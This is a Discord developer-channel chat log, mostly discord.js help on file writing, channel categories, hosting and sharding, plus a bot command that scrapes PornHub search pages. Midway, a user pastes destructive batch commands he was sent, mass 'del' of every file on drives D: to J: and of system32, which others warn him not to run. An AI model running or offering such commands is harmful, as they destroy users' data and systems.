#development

1 messages · Page 482 of 1

lusty dew
#

uncompleted

#

But

#

almost done

#

Anyway

#

Tim

slender thistle
#

Does PornHub have any API wrappers even? GWchadThinkeyes

lusty dew
#

I got to much info to even get it all

#

It does

#

but ehhhh

slender thistle
#

Wew

lusty dew
#

I tried them

#

they dont work well

sick cloud
#

papihub

#

pornapi

earnest phoenix
#

how can I set a variable if its undefined? Would I do it the same way?

#

just an if statement seeing if its undefined

#

if (!variable) {//code}

lusty dew
#

@quartz kindle I got a bunch in console log

#

A lot of it got cut off

#

due to how much got logged

quartz kindle
#

well, the full html page source aint gonna be light

topaz fjord
#

write it to a file

quartz kindle
#

eww disk i/o

#

xd

lusty dew
#

OOF

#

Yes

#

How do I do that

#

Write it to a file

#

wouldn't I do

quartz kindle
#

fs.writeFile

lusty dew
#

Ye

#

then put th efile name

#

then the console.log thing?

quartz kindle
#

if you use the async version, yes, you can do whatever in the callback

lusty dew
#

so like

earnest phoenix
#

Ironic, Tim as node.js was built on the idea of asynchronous I/O

topaz fjord
#

there are API wrapper for ph

lusty dew
#

Ik

#

Most of them are trash though

#

At least

quartz kindle
#

async i/o yes, not necessarily disk i/o though

lusty dew
#

the ones I used

earnest phoenix
#

Actually, yes

#

Node is good for disk I/O

#

It lacks in multithreading, but the callbacks make up for it partially

quartz kindle
#

its good yes, but i wouldnt say it was designed for disk i/o. more like designed for async i/o in general, regardless of interface

#

i believe it was primarily designed for async network i/o

lusty dew
#

Tim

#

How do I write it to the file

#

I forgot

#

fs.writeFile(what goes ehre)

#

here*

lusty dew
#

Ok

#

So

#

undefined

#

this is what the fs.writeFile gave me

#

Look for yourself

#

lmfao

quartz kindle
#

show code

obtuse wind
#

@hushed berry this "message.txt" download link seems legit

sick cloud
#

mini modding

obtuse wind
#

^ not

sick cloud
#

yes

obtuse wind
#

NO

sick cloud
#

y e s

obtuse wind
#

no u

lusty dew
#
const Discord = require("discord.js")
const request = require("node-superfetch")
const fs = require("fs")


module.exports.run = async (client, message, args, ops) => {


    var porn = args[0]
    try{
        var { body } = await request.get(`https://www.pornhub.com/video/search?search=${porn}`)
        var data = console.log(body.toString("utf8"))
        fs.writeFile('message.txt', data, (err) => {
            if (err) throw err;
            console.log('The file has been saved!');
          });
          
    }catch (err){
        message.reply(`Oh no, Looks like there is an error. Error:${err.message}`)
    }
}

module.exports.help = {
    names: ["pb", "pornhub", "porn-hub"]
}
#

Tim

#

there you go

obtuse wind
#

.-.

lusty dew
#

?

obtuse wind
#

hmmmm, those names though

lusty dew
#

Lol

#

What names

sick cloud
#

stop shitposting in development

#

seriously

lusty dew
#

What?

#

I am not

sick cloud
#

@lusty dew not you

lusty dew
#

OH

#

ok

obtuse wind
#

I'm not shitposting, I am telling what's on my mind

sick cloud
#

or general

obtuse wind
#

Difference

lusty dew
#

Can we not argue

slender thistle
#

If you're gonna help, go ahead. If no, please don't say anything

lusty dew
#

I deal with that enough everyday

sick cloud
#

@hushed berry is randomly posting here in development with no reason considered shitposting or no

lusty dew
#

CAN WE NOT ARGUE

sick cloud
#

dont use caps

lusty dew
#

Like damn

#

Fuck off

quartz kindle
#

@lusty dew i dont think you can do var data = console.log() lmao

lusty dew
#

seriously

sick cloud
#

really

lusty dew
#

I am not in the mood

sick cloud
#

you fuck off too then bloblul

lusty dew
#

I deal with arguing everyday

#

I dont need to deal with it ehre

#

here*

#

oof

#

@quartz kindle So how can I do it then?

quartz kindle
#

either data = body.tostring or just put it directly into writefile(name,body.tostring)

lusty dew
#

Ok

#
fs.writeFile('message.txt', body.toString("utf8"), (err) => {
            if (err) throw err;
            console.log('The file has been saved!');
          });
#

like that?

quartz kindle
#

yes

lusty dew
#

Ok

#

Want me to send

#

the File

#

the .txt

#

or

#

put it in hastebin

#

Might as well hastebin

#

there

quartz kindle
#

yeah thats the full html source

lusty dew
#

Yea

#

It looks like it lol

sick cloud
#

gross

lusty dew
#

Tony

#

Do you have to comment on things

sick cloud
#

why look at the source when you can use the full thing mmLol

#

yes

lusty dew
#

🙄

quartz kindle
#

what do you want to do with it?

lusty dew
#

me?

#

I am trying to make a command were you do

#

@myboit pb Lesbian

#

or something like that

#

and it returns what you searched in an embed

#

at random

#

so it picks a video

#

randomly

quartz kindle
#

there are several problems here

lusty dew
#

?

quartz kindle
#

the page you're accessing only has links to videos, not the videos themselves

#

and its not random, its based on the search terms

#

the same search with bring the same results, most times

lusty dew
#

Oh ok

quartz kindle
#

unless they randomize it, which idk if they do

lusty dew
#

Nah

#

they dont

#

I tested that

#

It brings up same results

#

if you do

#

Lesbians

#

same vids will pop up

#

unles new ones are posted

quartz kindle
#

although if you want a single video, i think they do have a random video option

lusty dew
#

I just want a Pornhub command

#

cause I have no other ideas

#

xD

#

Do you have other ideas for commands

#

Preferably search commands

quartz kindle
#

they do have a random video link

lusty dew
#

Oh?

quartz kindle
#

but afaik it doesnt listen to any search terms

#

its always random

lusty dew
#

Damn

#

Ok

#

That is not what I need

#

I have steam google and youtube

#

but I want to update my youtube command

quartz kindle
#

regardless, you'll probably be better off using apis

lusty dew
#

Yea

#

Do you know one?

quartz kindle
topaz fjord
#

time to delet that from my searcn history

lusty dew
#

xD

#

Should I use this one?

#

xD I am joking

#

I wonder why there is something like that

#

I going to update my youtube command

earnest phoenix
#

smh

earnest phoenix
#

client.on('messageUpdate', message => require('./events/messagesEdited.js')(oldMessage, newMessage)) > oldMessage is not defined

bright spear
#

@earnest phoenix uh

#

did you define oldmessage?

#

you'll need to provide more context

earnest phoenix
bright spear
#

where did you define oldMessage

earnest phoenix
#

do i define it index.js or MessageEdited.js @bright spear

bright spear
#

change message to oldMessage, newMessage

earnest phoenix
#

I get the same error by the way

#

I try find away to fix it but thanks

#

create category then create a channel inside it?

#

(discord.js)

lusty dew
#

Ahem

#

Question

#

Someone sent me

#

a batch file

#

with that in it

#

what does it do?

#

I didn't click it

#

cause I learned my lesson

#

but I am curious as to what that does o.O

#

Nvm

#

I looked it up

earnest phoenix
#

send the code in it

#

right click it and click edit

#

then copy and paste the code

lusty dew
#
@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
#

This

#

right here

#

Was sent to me

#

Along with many others

earnest phoenix
#

oh um

#

don't run that.

#

it will delete your computer

lusty dew
#
@Echo off
Ipconfig /release
#

this oen too

earnest phoenix
#

that just shows your ip

fossil oxide
#

Who sent it

lusty dew
#
del c:\WINDOWS\system32\*.*/q
#

and this one

#

There are much more

earnest phoenix
#

oh that one deletes your system

lusty dew
earnest phoenix
#

who sent them

lusty dew
#

Here are them all

#

Idk

#

Some random user

#

He is not in this server

earnest phoenix
#

jk

lusty dew
#

No

earnest phoenix
#

don't

lusty dew
#

lol

#

That shut down your computer

#

I know that much

earnest phoenix
#

lol all of these are stole from a website

lusty dew
#

Yea

#

Most likely

#

XD

#

It could be one of my many enemies o.O

#

Dont ask

earnest phoenix
#

ok

#

lol

lusty dew
#

;3

#

I am a bad kid

#

I make many enemies

#

Mostly Pedos thouhg

#

Oh wait

#

No talking here

earnest phoenix
#

can someone help me create category then create a channel inside it in discord.js?

lusty dew
#

I could try

#

I did something similar

earnest phoenix
#

ok

lusty dew
#

I mean

#

I know how to create the channel

#

the category

#

I could possibly do

earnest phoenix
#

ok

lusty dew
#

So

#

Do you have any code already?

earnest phoenix
#

yea

lusty dew
#

Ok

#

Show it

earnest phoenix
#

ok

#
message.guild.createChannel("announcements", "text")
.then(m => {
    m.overwritePermissions(message.guild.id, {
        SEND_MESSAGES: false
    })
})
lusty dew
#

Oh ok

#

you have that part done

bright spear
#

Uh, iirc to set the category of a channel you need to use v12/master

#

Idk if it's been backported to v11/stable yet

earnest phoenix
#

ok

lusty dew
#

Ye

#

It hasn't

#

I just checked

earnest phoenix
#

ok

bright spear
#

Yup

earnest phoenix
#

how do I get v12

bright spear
#

npm i discordjs/discord.js

earnest phoenix
#

ok

bright spear
#

FYI, a lot of stuff got organized so you will need to update your code

#

Like instead of guild.createChannel it's guild.channels.create

earnest phoenix
#

ok

bright spear
earnest phoenix
#

'guild' is not defined

#

oh im stupid

bright spear
#

Well you still need the message.

#

Lol

earnest phoenix
#

yea lol

#

whats the category function?

lusty dew
#

OOF

#

That has changed

#

lol

#

guild.createChannel

#

is now

#

guild.channel.create?

bright spear
#

channels

lusty dew
#

channels*

bright spear
#

And @earnest phoenix in the options object put parent: then the channel object of the category

earnest phoenix
#

ok

lusty dew
#

Wow

#

Master sounds complicated

#

¯_(ツ)_/¯

#

Also

earnest phoenix
#

luca how do I make it create a channel?

bright spear
#

Hey neko can u make an example with the options object im on mobile

earnest phoenix
#
    m.overwritePermissions(message.guild.id, {
        SEND_MESSAGES: false,
        parent: ""
}
#

?

lusty dew
#

I cna try

#

can*

#

In master correct?

bright spear
#
message.guild.channels.create('announcements', { parent: CATEGORY-CHANNEL-OBJECT-HERE })``` got it
lusty dew
#

Oh ok

bright spear
#

Wait

earnest phoenix
#

is category the category id?

#

I still want to create a category too btw @bright spear

lusty dew
#

He is offline

#

Rip

shy rose
#

@earnest phoenix GWmythsBlobWaveCool

earnest phoenix
#

oof

#

hey chewey

#

help

lusty dew
#

I just tried looking at the docs for master

#

they are a bit more complex for me to navigate

#

As I know where nothing is on em

#

¯_(ツ)_/¯

#

Oh well

earnest phoenix
#

Could some send me a small line of an announcement command in node.js?

Command: m!announce
What does it have to do?: Whenever making an announcement it will send it to the #announcements channel with the message.

hushed berry
#
  1. find channel named "announcements"
  2. send message to channel
#

lol

bright spear
#

message.guild.channels.create('announcements', { parent: CATEGORY-CHANNEL-OBJECT-HERE, overwrites: {SEND_MESSAGES: false}})

shy rose
#

Or assuming because the user has perms they could just send a message to that channel?

bright spear
#

Category channel object is the object of that category

#

The api treats categories as channels

shy rose
#

Otherwise anyone could soam the command to announcement

earnest phoenix
#

Alright, was struggling with this since the docs didn't really help out

#

I'm fairly new to the Discord API

bright spear
#

You can just do guild.channels.get('id') to get the category object

earnest phoenix
#

Alright, thanks

wintry quest
#

Can I PM someone about Rich Discord Embeds using pages?

lusty dew
#

Well

#

You mena like

#

Sending them the embed?

#

@wintry quest

#

if so

#

try

#

message.author.send(embed)

bright spear
#

I think they mean reaction pagination

lusty dew
#

Ohhh

#

Also

#

I got another batch file

#

Full of viruses

#

Lol

#

They are trying too hard

earnest phoenix
#

anyone know how to catch and delete the category the message was sent in?

bright spear
#

message.channel.parent.delete('reason')

earnest phoenix
#

what was the command again

#

what is this

slender thistle
#

try python -m pip

#

Also, no

#

pip install -U git+https://github.com/Rapptz/discord.py@rewrite#egg=discord.py[voice]

earnest phoenix
#

still

#

not working

slender thistle
#

Well, you don't have pip installed/Python in your %PATH%

earnest phoenix
#

oo

wintry quest
#

Anyone know how to do embed pages / reaction embed pages?

steel drum
#

probably cache the embeds

#

client.on('messageReactionAdd', (reaction, user) => {});

#

inside the body of that message

#

check to see if the reaction is the one that indicates page change

#

if it is

#

update the cached embed

#

and edit the previous msg

earnest phoenix
#

nah simply use reaction collector after sending the embed

#

you can look up "embed pages" on youtube, theres a video on it

#

its an example though

earnest phoenix
#

is the ytdl dead?

#

Huh?

#

ytdl lit throws out error on every search i do

#

youtube-dl library is broke, i hope they fix it in future

#

what error

#

you try to use youtubeDL.search it always throws out error: traceback

#

what language? if js, what module?

#

node-ytdl-core doesnt have .search iirc

bitter sundial
#

do you have the latest

earnest phoenix
#

I dont have latest, cuz latest gives out eror: spawn ENOENT

bitter sundial
#

did you install it properly

earnest phoenix
#

i need

lusty dew
#

@wintry quest I showed you how

#

.

#

What problem are you having?

lusty dew
#

Question

#

Is it against the rule

#

to make a command

#

that looks up info on an IP?

#

I mean

#

I won't do it were it sends out in the channel

#

I will do it so it sends to the user

quartz kindle
#

i dont see why it would be

#

IP is a publicly available information, and since you cant get any ip address from discord users, it doesnt count as any personal identifiable information

#

looking up random ip addresses that are not directly tied to a specific user is not against any rules afaik

earnest phoenix
#

Might sound funny but how to get username of a user by their ID even if they are not in any mutual server with the bot in JS? (D.JS)

#

Username and tag ofc

lusty dew
#

Ummm

#

Maybe try

#

a user-info command

#

but have it both use ID's

#

or

#

a Mention

#

Just a theory

gilded blaze
#

Use the fetchUser method in the client on stable

lusty dew
#

Ye

#

That

#

o.O

#

I am just dumb and rushing rn

#

Got school soon

#

~<

earnest phoenix
#

@gilded blaze Link please

gilded blaze
vernal rivet
#

It's in the discord.js documentation under the client section

earnest phoenix
#

@vernal rivet

#

I am a turkish discordda of your staff

#

what

floral stone
#

What's the different between a string and a str

bitter sundial
#

str is shorter

floral stone
#

I was joking but thanks xD

vernal rivet
#

Ok

bitter sundial
#

I was also joking but you're welcome

floral stone
#

vernal rivet
#

@earnest phoenix

quartz kindle
#

str means strength

cinder patio
#

Any bot ideas superfastthink

earnest phoenix
#

@cinder patio yes

#

Hello, I am new in the field of development, and I would like to know how to make so that my bot can use the emojis of other server than mine, it is possible?

#
gyp ERR! configure error
gyp ERR! stack Error: Can't find Python executable "python", you can set the PYTHON env variable.
gyp ERR! stack     at PythonFinder.failNoPython (D:\Files-Programs\NodeJS\node_modules\npm\node_modules\node-gyp\lib\configure.js:484:19)
gyp ERR! stack     at PythonFinder.<anonymous> (D:\Files-Programs\NodeJS\node_modules\npm\node_modules\node-gyp\lib\configure.js:509:16)
gyp ERR! stack     at D:\Files-Programs\NodeJS\node_modules\npm\node_modules\graceful-fs\polyfills.js:284:29
gyp ERR! stack     at FSReqWrap.oncomplete (fs.js:152:21)
gyp ERR! System Windows_NT 6.3.9600
gyp ERR! command "D:\\Files-Programs\\NodeJS\\node.exe" "D:\\Files-Programs\\NodeJS\\node_modules\\npm\\node_modules\\node-gyp\\bin\\node-gyp.js" "rebuild"
gyp ERR! cwd C:\Users\Backdoor\Desktop\DCBots\NuiNui Discord Bot\node_modules\integer
gyp ERR! node -v v8.11.4
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok

npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! integer@1.0.5 install: `node-gyp rebuild`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the integer@1.0.5 install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR!     C:\Users\Backdoor\AppData\Roaming\npm-cache\_logs\2018-09-10T13_28_28_434Z-debug.log
```

Guys What The Heck IS That I Searched From Google But All Answers Are Useless For Me!!
Does Any Body Help Me ?

(Trying to install quick.db)
#

guys

#

?

loud salmon
#

gyp ERR! stack Error: Can't find Python executable "python", you can set the PYTHON env variable. this is what you should be googling

earnest phoenix
#

okay

#

thx

#

@loud salmon can you help me ?

loud salmon
#

with what

earnest phoenix
#

so should i install python?

loud salmon
#

yes..

earnest phoenix
#

fuck...

#

I would like my bot to use custom emojis on other servers, is it possible?

loud salmon
#

what is your library

earnest phoenix
#

JavaScript ( discord.js )

earnest phoenix
#

Thank you

#

oh my favorite site

loud salmon
#

just use G O O G L E

#

he is your friend mmLol

earnest phoenix
#

😁

#

haha sorry

earnest phoenix
#
msg.member.send({embed})``` would this DM the user?
earnest phoenix
#

Try it

bold trench
#

can someone help me and show me how to do this GWnonexUmaruCry

#

im trying from past 5 hours

prime cliff
#

Wdym you want to use that bot or create one that does that

earnest phoenix
#

do u want create an embed?

#

@bold trench

bold trench
#

@prime cliff @earnest phoenix 1min

earnest phoenix
#

ok

#

mr ded @bold trench

#

?

#

does anybody knows a good api for anime? (fuck the google I wanna keep up chat alive)

#

Google

#

YoutubeDL.getInfo(text, (err, info) => {

#

im getting err: spawn unkown

#

......

#

-botinfo @timber heron

gilded plankBOT
#
Bot info <:dblCertified:392249976639455232>
ID

389132918716629002

Username

Yoshino

Discriminator

5404

Short Description

Yoshino is a fast and reliable chat bot for Twitch, Discord and YouTube!

Library

JDA

Prefix

"!" OR "!yoshi" (customizable with !prefix command) OR @Yoshino

Upvotes

1282

Server Count

3711 Servers | 3 Shards

Owner(s)

@round night dblCertified

ruby dust
#

how do I get a channel id from discord.abc.GuildChannel on d.py?

harsh musk
#

id attribute

sour perch
#

so im a little stuck at this. im making a bot that gives updates on social media using webhooks, im trying to use this npm but no matter what i try i get the same error. am i missing something?
npm package: https://www.npmjs.com/package/youtube-uploads

error: (node:8768) UnhandledPromiseRejectionWarning: ReferenceError: window is not defined

code:

const youtubeUploads = require('youtube-uploads')
module.exports.run = async(client, message, args) => {
    
    message.channel.createWebhook('webhookname', 'https://cdn.discordapp.com/attachments/454017709135364106/488729949847683082/Logo.png')
    .then(webhook => console.log(`Created webhook`))
    .catch(console.error)
    const arrayOfVideoData = youtubeUploads('YOUTUBE_API_TOKEN', 'name', 5)
}   
earnest phoenix
#

where is window even mentioned Thonk

sour perch
#

exactly :/

whole plume
#

How would I make this line of code create a role on joining a new server:

#
//Logs when the bot joins another server.
bot.on('guildCreate', console.log);```
#

note: this is node.js if you couldnt tell

earnest phoenix
#

guildcreate gives a guild paramerter

#

Use <guild>.createRole() to create the role

whole plume
#

how would i implement that to when it joins a new server though

#

im stupid today sorry if its obvious

earnest phoenix
#
bot.on('guildCreate', guild => {
//role create code here

})```
whole plume
#

thanks

#

weird

#

I dont get an error when it joins

#

but nothing happens

earnest phoenix
#

Show what you have

whole plume
#

disregard

#

I forgot to but guild. infront of roleCreate

storm oak
#

should I switch to discord.js. I currently use discord.py

steel drum
#

from what ive seen

#

discord.js has a super large community of developers

#

and i think js is alot more readable than python

ruby dust
#

just why not use what you want

#

there's no best language nor library

weak parrot
#

^

oblique sonnet
#

Need help on posting a bot for testing but if i put a short description it says it too long and that it needs 300 minimum characters 7-7

sick cloud
#

you don't post a bot "for testing"

#

this is a public bot list, once you post it and its approved it goes on the website

oblique sonnet
#

So how do i test it?

lusty dew
#

Omgerddddd

#

I keep blocking this guy

#

and he keeps deleting the account after he sends me

#

a batch file of viruses

#

Also just noticed

#

wrong channel sorry

oblique sonnet
#

Its alright

sick cloud
#

@oblique sonnet you test it in your own server?

oblique sonnet
#

Thats the problem

sick cloud
#

adding it to dbl means that its ready to be used by people

#

what

oblique sonnet
#

I dont know how to put it in a server 7-7

sick cloud
#

google it

oblique sonnet
#

Tried no success just tells me to use this page and ad it to the discord server like if im putting tatsumaki in a server

sick cloud
#

and thats exactly what you do

#

you get the invite link

oblique sonnet
#

Dont i have to post if first?

sick cloud
#

no

#

go there

#

put your bots client ID in

#

and click Add

oblique sonnet
#

Didint work tried 2 times

#

Wierd

lusty dew
#

Ermmmm

#

What

#

Give me your Bot's Client ID

#

I will make it for you lmfao

oblique sonnet
#

Sketchy

earnest phoenix
#

how

lusty dew
#

I can't do anything with a Client ID...

#

Only a token

oblique sonnet
#

Ok

lusty dew
#

Never give your token

oblique sonnet
#

488689837520715796

#

Id

upper ember
#

umm can someone help me with sql?

SELECT * FROM tickets ORDER BY RANDOM()
``` with this code I get 
1,3,5,4,6,2

how do I get 1,2,3,4,5,6?
lusty dew
#

OOF

#

Try that

#

quick

#

I have to delete it after

sick cloud
#

@upper ember try not RANDOM()?

#

idk

#

@lusty dew dms exist, smh

lusty dew
#

Ik

#

Sorry

#

smh

earnest phoenix
#

ikr

#

smh

lusty dew
#

lol

visual zenith
#

i need to find a way to host my bot somewhere that allows C#

west raptor
#

Any ideas on how to do badges? What ive thought so far is having each badge have an id

#

then for each badge a user has

#

add the ids

#

together

inner jewel
#

you can just do a bitset of badges

west raptor
#

oh yea true

inner jewel
#

eg badgeX = new Badge(id = 1 << 1); badgeY = new Badge(id = 1 << 2); badgeZ = new Badge(id = 1 << 3);

oblique sonnet
inner jewel
#

and hasBadgeX = (bitset & badgeX.id) != 0

west raptor
#

ah alright, thanks natan

inner jewel
#

to add/remove, respectivelly:
user.badges |= badge.id
user.badges &= ~badge.id

lusty dew
#

Badges?

#

Sounds like a cool idea

#

@west raptor Good luck with it!

west raptor
#

thanks

lusty dew
#

No problem ;p

oblique sonnet
bright spear
#

@oblique sonnet btw pls take screenshots instead of pictures

idle mountain
#

Snipping tool is built into Windows. EZPZ to use, just ctrl+V into Discord to upload the image

visual zenith
#

can someone help me find a way to host my bot somewhere that allows C#

glossy echo
#

@visual zenith Heroku ?

visual zenith
#

idk how to

glossy echo
visual zenith
#

C# though

west raptor
#

google is awesome

#

use it

zealous veldt
earnest phoenix
#

@visual zenith coughs ovh coughs harder aws coughs even harder digital ocean coughs so hard organs come out

#

or are you looking 4 free

lusty dew
#

lol

#

Free

#

I would say

#

Those the only free ones I know

west raptor
#

c#

lusty dew
#

Oh

#

Ummm

#

Then I don't know any sowwy

#

UMM

#

wrong server

west raptor
#

what

lusty dew
#

Nothing

#

Shhh

#

I said nothing

west raptor
quartz kindle
#

any vps should be able to run c#

#

google compute engine has a free tier

knotty steeple
#
Server [localhost]:
Database [postgres]:
Port [5430]:
Username [postgres]:
psql: could not connect to server: Connection refused (0x0000274D/10061)
        Is the server running on host "localhost" (::1) and accepting
        TCP/IP connections on port 5430?
could not connect to server: Connection refused (0x0000274D/10061)
        Is the server running on host "localhost" (127.0.0.1) and accepting
        TCP/IP connections on port 5430?
Press any key to continue . . .
``` anyone would know why im getting this in psql
inner jewel
#
Is the server running on host "localhost" (::1) and accepting
        TCP/IP connections on port 5430?```
earnest phoenix
#

they try to make it easy

#

ndd people still ask PepeHands

quartz kindle
#

can confirm

#

made a huge ass extremely comprehensive help command
nobody reads (and they get confused about basic shit)

earnest phoenix
#

i used to log invalid commands

#

the shit i have seen

quartz kindle
#

i log all commands

#

can confirm

earnest phoenix
#

i only log valid

quartz kindle
#

most of my commands have fallbacks so i log them too

visual zenith
#

@earnest phoenix can i host a c# using google cloud?

prime cliff
#

@visual zenith yes it does support c#

quartz kindle
#

you can install any operating system you want, so yes you can even install a windows server

visual zenith
#

but it takes up so much space right?

prime cliff
#

C# also works on linux just use .net core

visual zenith
#

🤔

earnest phoenix
#

so like

#

if you are super desperate

visual zenith
#

🤔

earnest phoenix
#

dm me and i can siphon off a gig of ram on an ssh account

#

but mind you you would have to keep me informed on what you do

#

and such

visual zenith
#

ye....

earnest phoenix
#

flexes

visual zenith
#

i have a VM on atm

#

im using the one in google cloud console

earnest phoenix
#

nice

#

if it works it works

visual zenith
#

is VM the same has VPS ?

prime cliff
#

VM = virtual machine so yea

visual zenith
#

ok

sinful lotus
visual zenith
#

where u get that 🤔

sinful lotus
#

German vps providers

#

they gave out good deals

lusty dew
#

When you find out a game you been playing for years has an API

sinful lotus
#

If thats league yes they have

lusty dew
#

No

#

Roblox

#

-_-

#

xD

#

Lol

#

Honestly never knew they had an API

earnest phoenix
#

oof

#

man ur cool

#

uptime 50 mins

#

by cool i meant garbage

lusty dew
#

.

#

Fuck you

earnest phoenix
#

gotem

visual zenith
#

whats the best CPU type should i get for hosting?

#

@earnest phoenix ^

#

hello?

sinful lotus
#

@visual zenith go for the cheaper ones on gcloud

#

the shared cpu 1.7gb memory

#

unless you are in 2k guilds

#

that is sufficient

visual zenith
#

im making a new discord bot so thats why i want to ask

#

out of c#

sinful lotus
#

@visual zenith you can save bucks on choosing the small for now

visual zenith
#

ok

sinful lotus
#

as I said if your bot isnt big

#

and less than 2k guilds

visual zenith
#

what about boot disk?

sinful lotus
#

hdd is fine

#

you are still on small scale

visual zenith
#

which os images should i get

sinful lotus
#

your preference

#

you are a dev do you?

#

where you host your current bot

visual zenith
#

yes i host a bot before

#

with the code discord.js

#

so should i get windows server? or something where i can download c# quicker?

#

@sinful lotus should I use windows server?

#

for the shared core

sinful lotus
#

Well for me, I never coded a C# bot

#

I personally use Ubuntu 16.04 for @untold pulsar

#

which is written in JS

visual zenith
#

i never used Ubuntu before 🤔

#

and linux

sinful lotus
#

its simple

visual zenith
#

becuz i have a school chromebook where i cant access linux xD

#

do you think 10 gb is enough? @sinful lotus

earnest phoenix
#

depends on your language and setup etc

#

like i run nodejs and pretyt much use 0 cpu

#

so i dont need a very powerful one

visual zenith
#

so c# needs a lot?

earnest phoenix
#

depends on the functions of your bot etc etc

#

have u simulated a stress test or done any unit testing that could signify average usage?

visual zenith
#

v

earnest phoenix
#

then i could tell you about what you need

visual zenith
#

im making a new discord bot so thats why i want to ask

earnest phoenix
#

ah right on

#

well i assume it wont use much but dont cripple yourself for expansion

#

get like the 2 vcpu

visual zenith
#

Saba said 1 shared vCPU

earnest phoenix
#

this is a very much do as i say not as i do situation xD

#

the only stress testing i have done is like a few thousand synchronus executes of my functions in a unit test

sinful lotus
#

its a new bot

earnest phoenix
#

oh

#

but new bots can still use power

sinful lotus
#

and I dont expect it to have more than 2k servers at start

earnest phoenix
#

What is a good hosting service

#

lol

visual zenith
#

xD

sinful lotus
#

1 shared cpu is more than enough

earnest phoenix
#

Sorry to interrupt

#

proceeds to think ahead to future expansion

sinful lotus
#

I hosted a bot on g cloud and I reached 5k servers on a single cpu

earnest phoenix
#

what lang

sinful lotus
#

JS as well

earnest phoenix
#

if i recall i think c# uses slightly more no ?

#

well 🤔

#

i guess not

sinful lotus
earnest phoenix
#

I can run cs at 200 FPS

#

quick question

#

just curious

#

you use pm2 aswell?

sinful lotus
#

pm2 for managing the core process

earnest phoenix
#

mhm

sinful lotus
#

then discord.js traditional sharding

visual zenith
#

🤔

earnest phoenix
#

ah

#

@visual zenith js stuff

visual zenith
#

ik

#

i use js too

#

for @earnest phoenix

earnest phoenix
#

right on!

#

How to shard

#

Pls teach

#

ok

sinful lotus
earnest phoenix
#

Or just send me your source code

#

And token

visual zenith
#

how to shard in c# xD

#

y tf token?

sinful lotus
#

you send your own

earnest phoenix
#

Ok

#

U wanna trade?

#

i have a thanos snap function that i dont push to production

sinful lotus
earnest phoenix
#

mind sending me ur token?

#

Ok

sinful lotus
#

why would I trade my bot for you lol

visual zenith
#

ok show me how to set up the linux thing

earnest phoenix
#

what

sinful lotus
#

its my hardwork for 7 months

visual zenith
#

Debian

earnest phoenix
#

ok so like

visual zenith
#

the Debian part

earnest phoenix
#

you know how to operate ssh?

#

and such

visual zenith
#

um maybe

idle mountain
#

sharding in c# is super ez

visual zenith
#

xD

idle mountain
#

it's literally one line edit and one line add

visual zenith
#

time to use google

sinful lotus
#

@idle mountain something like js, one file add then done

#

lmao

earnest phoenix
#

ok dm me fallen i can walk ya through ssh hardening and proper porting etc

#

if you want

idle mountain
#

I thought it was hard in js bingT

earnest phoenix
#

How would I make it so each server can have a diff prefix?

idle mountain
#

don't you have to do things cross-shard in js?

sinful lotus
#

depends on how complicated you want the code is

#

and yes I do cross shard in my case

earnest phoenix
#

fancy

#

sorta

sinful lotus
#

since I didnt internal shard

earnest phoenix
#

internal shard

sinful lotus
#

JS is single threaded

earnest phoenix
#

How would I make it so each server can have a diff prefix?

sinful lotus
#

try to internal shard on 20 k server

earnest phoenix
#

xD

idle mountain
#

oh yeah node is single-threaded

#

dumb

sinful lotus
#

its like asking for

earnest phoenix
#

single thread is never a problem ever

sinful lotus
#

reeeeeeeeeeeeeeee

earnest phoenix
#

laughs in pain

#

what do you mean ree

#

its never a problem

#

ever

idle mountain
#

do you even know what threading is

#

or are you joking

sinful lotus
#

are you sure single thread is good

idle mountain
#

threading is super important to a lot of applications

sinful lotus
#

its like poluting single cpu without using the other cores

idle mountain
#

and it's a real shame node doesn't allow multi-threading

earnest phoenix
#

wait

#

what do you think i think

idle mountain
#

¯_(ツ)_/¯

earnest phoenix
#

theres a misscommunication

#

xD

idle mountain
#

something that isn't what multithreading is?

sinful lotus
#

if I can only run my program in internal sharding tbh

#

I would do that

#

but NO

earnest phoenix
#

why would you though

sinful lotus
#

JS isn't like that

#

memory savings

earnest phoenix
#

yea but like

sinful lotus
#

arent you aware that traditional sharding creates new requires for every process?

earnest phoenix
#

oh fuck really?

sinful lotus
#

a bot that is internal sharded at 3k guilds

earnest phoenix
#

im going to be using alot of ram here soon

sinful lotus
#

in js

#

will eat 300mb approx

earnest phoenix
#

i store all my players data to ram, manipulate the ram real time and run save cycles every 5 mins

#

so like

sinful lotus
#

while traditional sharded bot can eat 700mb-1gb on same size

earnest phoenix
#

this will be neat

sinful lotus
#

but I use traditional still due to the nature that it can be multi threaded, per single process

#

single process contains about maximum of 2.5k guilds

#

so thats it

earnest phoenix
#

really?

#

damn

#

ok

sinful lotus
#

but it makes the code complicated

#

since you need to "communicate" with other shards

#

through main process

earnest phoenix
#

yea im going to have to rewrite how my bot interacts with the database because of how its requires work and such

#

ugh

sinful lotus
#

getting a data from a guild from shard #1 in shard#3 is not as simple as collection.get

earnest phoenix
#

can you module export it out to the main file and distribute as needd?

#

like shove the collection on module export and send to whomever

sinful lotus
#

you need to do cross shard talking

#

you are doing more caches

#

which is not good

#

traditional sharding eats more ram already

#

and doing more caches will just probably kill your ram more

earnest phoenix
#

damn

#

oy

lusty dew
#

lol

earnest phoenix
#

welcome

#

to the party

sinful lotus
#

I have 20 shards, but only 1 shard of those 20 does the updating of guild count

earnest phoenix
#

i need to read up on discordjs docs more :/ i keep re-inventing the wheel for a bunch of stuff

sinful lotus
#

the other 19 just relay the data to the shard that will do the sending

#

thats how I do my cross sharding communication in simple words

earnest phoenix
#

how many servers you on again?

sinful lotus
#

19.2k I think or 19.1k

earnest phoenix
#

nice

#

well i dont mean to flex

#

100 registered users on my game

#

xD

#

19.2k guilds

lusty dew
#

@sinful lotus Nice!

#

Good job :p

#

Now teach me da wae

#

xD

sinful lotus
#

its not great since you need bigger servers and better code

#

bigger doesnt mean better remember that

lusty dew
#

Ye I know

sinful lotus
#

you need to make sure you can sustain it

lusty dew
#

A lot of people have told me that

sinful lotus
#

if your code could not also keep up

#

you will just bring downtime to users

lusty dew
#

yea

#

I am putting hold on my Current bot

#

I am getting to busy with....other things

#

When life hits you hard
